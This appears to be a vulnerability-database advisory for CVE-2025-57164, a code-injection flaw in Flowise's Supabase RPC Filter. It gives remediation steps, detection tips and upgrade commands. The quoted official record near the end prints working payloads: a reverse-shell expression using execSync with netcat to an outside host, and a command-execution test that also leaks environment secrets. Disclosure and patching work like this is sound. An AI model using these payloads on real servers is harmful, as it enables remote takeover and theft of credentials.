Flowise Supabase RPC Filter allows admin users to run any server command

CriticalSE Fix-First Score 51/100CVE-2025-57164SE-AIV-01619Remote code executionAI apps and chat interfacesMade public 16 Sep 2025

Download as PDF

What this means

An admin user of Flowise can run any command on the server where Flowise runs. An attacker with admin access can steal secret keys, install malware, shut down the service, or access data stored on that server.

SecurityElites Manager Brief: the decision in one minute

Flowise versions before 3.0.6 allow anyone with admin access to run any command on your server by filling in a Supabase configuration field. Upgrade to 3.0.6 immediately.

SecurityElites Fix-First Score51 of 100
Our own ranking of what to fix first. Real attacks count most, then the chance of attack, then severity.
SecurityElites fix windowWithin 7 days
Critical severity. This is our suggestion from common practice; your own policy comes first.
Who should own the fixPlatform engineering or DevOps team managing Flowise deployments.
Likely effortAbout 15 minutes: download and install Flowise 3.0.6, then restart the service. Longer if you have a custom setup or need to test first.

Questions to ask your team or supplier

  • Do we have any active Flowise deployments running version 3.0.5 or earlier, and what admin users have access to them?
  • Have we checked our Flowise logs for suspicious Supabase filter configurations or unusual commands run before we knew about this issue?
  • What secrets or keys are stored as environment variables on servers running Flowise, and could an attacker abuse them?

Message you can forward to the owning team

Security notice: Flowise Supabase RPC Filter allows admin users to run any server command (CVE-2025-57164)

Severity: Critical
SecurityElites Fix-First Score: 51 of 100
SecurityElites fix window: Within 7 days
Action: upgrade to flowise 3.0.6 or later.
What we need from you: confirm whether we run this software, who owns it, and the date it will be fixed.
Full guide: https://securityelites.com/ai-vulnerabilities/cve-2025-57164-flowise-supabase-rpc-filter-allows-admin-users-to-run/
Source: SecurityElites AI Vulnerabilities Database, record SE-AIV-01619

What is at stake in your AI setup

  • Retrieval data: an attacker could read or corrupt the Supabase database or vector store that holds training or retrieval data used by flows.
  • API keys and credentials: environment variables containing keys for AI providers, databases, or external services could be stolen from the server.
  • Compute resources: the server could be used to run malicious workloads, consuming your compute bill and slowing down legitimate AI operations.

Map where your company uses AI

Who is exposed

  • Flowise 3.0.5 and earlier versions with Supabase vector store enabled.
  • Any deployment where admin users exist and can edit Supabase node configuration.
  • Services that run Flowise and have access to secrets or keys in environment variables.

Upgrades you need

SoftwareAffected versionsMove to
flowise
npm
3.0.5 up to, but not including, 3.0.63.0.6 or later

Am I affected?

Enter the version you run. Nothing you type is stored.

SecurityElites Developer Brief: the technical picture

Is it being attackedWorking attack code is public, so expect attacks to follow
Where the attacker must beAnywhere that can reach it over a network, including the internet if it is exposed
Account neededAn administrator account
Does a person have to do somethingNo. It works without anyone clicking or opening anything
How hard it is to doEasy. It works reliably once the attacker can reach it
Risk of: data being readHigh
Risk of: data or settings being changedHigh
Risk of: the service being taken downHigh
Can attackers automate it at scaleYes, according to CISA
How much control an attacker gainsTotal control of the affected software, according to CISA

Read from the official severity rating: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Kind of coding mistake

  • CWE-94: code can be injected

If you cannot upgrade today

  • Until you can upgrade, remove or disable all Supabase vector store nodes from active flows in Flowise. This eliminates the attack surface.

Signs it may already have been used against you

  • In Flowise application logs, look for errors or execution logs from Supabase nodes that contain unusual JavaScript code, shell commands, or references to environment variables like API keys or secrets.
  • In server system logs (syslog, journalctl), search for unexpected child processes spawned by the Flowise process, especially those running shell commands or network tools.
  • In Flowise audit or activity logs (if enabled), find admin users who modified Supabase node filters and check the timestamps against known maintenance windows.
  • Review any Flowise flows that contain Supabase nodes; check the filter expression field for code that looks like it runs commands rather than filtering data.

SecurityElites Fix Guide: step by step

  1. Find where Flowise is runningCheck which servers or containers run Flowise. Write down the version number on each one (look in the web interface under settings or logs, or check the package.json file in the Flowise folder).
  2. Check if Supabase is configuredIn the Flowise interface, look for any active flows or nodes that use Supabase vector store. If none exist, the risk is lower but you still need to upgrade.
  3. Identify who has admin accessList all current admin users in your Flowise instance. These are the accounts that could exploit this weakness today.
  4. Back up your Flowise dataExport or snapshot your Flowise instance (database, flows, and configuration) in case something goes wrong during the upgrade.
  5. Upgrade Flowise to version 3.0.6 or laterInstall Flowise 3.0.6 from npm using your package manager (npm, yarn, or Docker). Follow the official upgrade instructions for your setup type.
  6. Restart FlowiseStop the running Flowise service and start it again. Confirm it starts without errors in the logs.
  7. Verify the versionOpen the Flowise web interface and check that the version shown is 3.0.6 or later. The old version should not appear anywhere.
  8. Check for signs of past misuseReview Flowise logs and server logs for unusual activity from before the upgrade, such as unexpected commands, failed login attempts by admins, or strange Supabase node configurations.

How to confirm it is fixed: Confirm that all Flowise instances show version 3.0.6 or later in the web interface or package manager, and that Supabase nodes no longer allow arbitrary code in filter fields.

SecurityElites Quick Fixes: copy and paste

Upgrade flowise with npmupgrade

npm install flowise@3.0.6
npm ls flowise

Check Flowise npm version on the systemfor this issue

npm list flowise

Run the service in a locked-down containergeneral hardening

docker run --read-only --cap-drop ALL \
  --security-opt no-new-privileges --user 1000:1000 \
  -p 127.0.0.1:8080:8080 YOUR_IMAGE

Test in a non-production environment first. General hardening examples use placeholder names and ports; change them to match your setup.

Let your AI coding assistant do the upgrade

Paste this into the coding assistant you already use, inside the project. It checks first and asks before it changes anything.

Instruction for your coding assistant

You are helping me fix a security vulnerability (CVE-2025-57164) in this project.\n\n1. Search the whole repository, including lock files, container files and CI configuration, for these packages and list every place they are pinned or installed:\n   - flowise (npm): must be 3.0.6 or later
2. Tell me which version we use now and whether it is affected. Stop and ask me before changing anything.
3. After I agree, raise each one to the safe version, update the lock files, and keep every other dependency as it is.
4. Run the tests and tell me what failed.
5. Give me a short summary of the files you changed that I can put in the pull request.

SecurityElites Incident Drill: could your team handle this?

Four questions to ask in your next team meeting. If any has no clear answer, that is the gap to close.

What is the exact fixed version of Flowise we need to run?A good answer: Flowise 3.0.6 or any later version.
Who can exploit this vulnerability?A good answer: Any user with admin access to a Flowise instance running version 3.0.5 or earlier that has Supabase configured.
What can an attacker do if they exploit this?A good answer: They can run any command on the server, steal secrets from environment variables, or take full control of the Flowise instance.
What is the first step to fix it?A good answer: Upgrade Flowise to version 3.0.6 and restart the service.

Run a full timed drill with your team

Ticket for your backlog

Paste into Jira, GitHub Issues or any tracker that reads Markdown.

Ready-made ticket

## Flowise Supabase RPC Filter allows admin users to run any server command (CVE-2025-57164)

**Severity:** Critical  |  **SE Fix-First Score:** 51/100  |  **Fix window:** Within 7 days
**Record:** SE-AIV-01619 https://securityelites.com/ai-vulnerabilities/cve-2025-57164-flowise-supabase-rpc-filter-allows-admin-users-to-run/

### Why this matters
An admin user of Flowise can run any command on the server where Flowise runs. An attacker with admin access can steal secret keys, install malware, shut down the service, or access data stored on that server.

### What to do
1. Find where Flowise is running
2. Check if Supabase is configured
3. Identify who has admin access
4. Back up your Flowise data
5. Upgrade Flowise to version 3.0.6 or later
6. Restart Flowise
7. Verify the version
8. Check for signs of past misuse

Full steps: https://securityelites.com/ai-vulnerabilities/cve-2025-57164-flowise-supabase-rpc-filter-allows-admin-users-to-run/

### Done when
- [ ] flowise is at 3.0.6 or later everywhere it is installed
- [ ] Lock files, container images and CI configuration are updated
- [ ] Confirm that all Flowise instances show version 3.0.6 or later in the web interface or package manager, and that Supabase nodes no longer allow arbitrary code in filter fields.
- [ ] Logs were checked for signs of earlier use

SecurityElites Fix Tracker

Record who owns this fix, the date it is due and when it is done, and see everything still open in one list. Free with a SecurityElites account.

Sign in to track this fix

Change history

  • 15 Sep 2025: Made public
  • 2 Dec 2026: Published

Official record

## SummaryAn authenticated admin user of **FlowiseAI** can exploit the **Supabase RPC Filter** component to execute **arbitrary server-side code** without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's `execSync()` to launch reverse shells, access environment secrets, or perform any OS-level command execution.This results in **full server compromise** and severe breach of trust boundaries between frontend input and backend execution logic.## DetailsFlowiseAI includes a component called `Supabase.ts`, located at: `packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237`<img width="622" height="177" alt="image(3)" src="https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b" />This creates a function from user-provided string `supabaseRPCFilter` with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed **immediately** when the node is triggered.### ExploitWe configured our environment to use Supabase entities as follows:<img width="573" height="765" alt="image(4)" src="https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf" />To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:<img width="1920" height="915" alt="image(5)" src="https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947" />![image-1](https://github.com/user-attachments/assets/34e71d47-6ecb-4a93-af0f-3526696f16e6) ![image-2](https://github.com/user-attachments/assets/a512537c-caa9-4f70-a7be-1e75a622c06e)This results in the **JWT secret being printed** to the frontend, confirming access to server-side environment variables.Subsequently, a **reverse shell** was successfully established using:`filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)`<img width="425" height="475" alt="image(6)" src="https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4" />This proves arbitrary OS-level command execution is possible **within the FlowiseAI backend runtime context**.## Steps to Reproduce1. Deploy a FlowiseAI instance with the Supabase vector store enabled. 2. Login as an admin user. 3. Drag in a `Supabase` node and configure "Supabase RPC Filter". 4. Insert a malicious payload in the filter expression, such as: `process.mainModule.require("child_process").execSync("id")` 5. Trigger the chatbot or workflow to activate the node. 6. Observe execution of arbitrary code on the backend.## Impact- **Remote Code Execution** (RCE): Full OS-level code execution from frontend user input. - **Environment Leakage**: Access to sensitive env variables like `JWT_REFRESH_TOKEN_SECRET`. - **Reverse Shells**: Ability to connect out of the server and gain interactive remote shell access. - **Persistence Risk**: Attacker can install malware, establish persistence, or exfiltrate data. - **LLM Prompt Tampering**: Malicious outputs may be injected back into LLM chains.## Trust Boundary ViolationThe vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (`supabaseRPCFilter`) becomes part of **compiled JavaScript logic**, blending user-controlled input with trusted backend execution.This violates **OWASP LLM Top 10 - LLM-06: Sensitive Code Execution**, especially in low-code / visual LLM agents.## Evidence*Environment variable leakage via malformed JSON**Reverse shell successfully triggered using attacker-controlled input*## Credit**This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)**

Weakness type: CWE-94

Use this record in your own tools

Get this record as JSON

curl https://securityelites.com/wp-json/se-aivd/v1/vulns/CVE-2025-57164

For scanners and pipelines: OSV format · CycloneDX format · API guide · Email alerts · Fix tracker

The plain-language sections were written with AI from the official record, and the upgrade versions come directly from the official data. Last updated 2 Dec 2026. Read the vendor advisory before changing a production system.